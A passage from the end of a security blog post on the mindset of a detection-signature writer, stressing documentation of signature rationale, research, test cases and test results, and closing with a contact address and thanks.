The reason for stating the above steps is because, the writer has to remember that the previous time when he might have created a particular signature could be years or at least months ahead of this current update. It is hard to remember all the signatures that have been written by a signature writer. Hence, the mindset of the writer should always:

• remember to document every step involved in the process of generating this signature.
• remember to document reason for the signature.
• remember to document all the research involved in the above process.

Documentation is something that is most important step in information security. It is equally important in here too, as listed above. Although, we talked about testing the signatures, we did not document the mindset of the signature writer in the testing the signatures:

• based on the above documentation the test cases should be drafted.
• should be conducted within the boundaries of the attack.
• should be involving practicality of situation.

Test results should be documented periodically. This results should include the test cases[scenario], the conditions applied, limitations involved and the overall results. Reason for modification of the signature or keeping the signature as is, should also be documented to ensure that there is a way to trace back to the same point if the signature fails in the next set of tests or in the near future.

This article discusses very minimal percentage of the requirements of a signature writer’s mindset. Imagine, how complex it could be to understand the true art of signature writing and the complexities involved in the overall process itself. We hope that you enjoyed our blog! If you have any questions or comments on this blog, kindly do respond to us at contact.fingers @ gmail.com.

NOTE: At some places in this blog, the words might indicate repetitive nature of the steps involved in the overall process. But it is not really repetitive. It would just seem that way, since the overall process is tangled around the central core: The mindset of a signature writer.

Thank you for choosing our blog!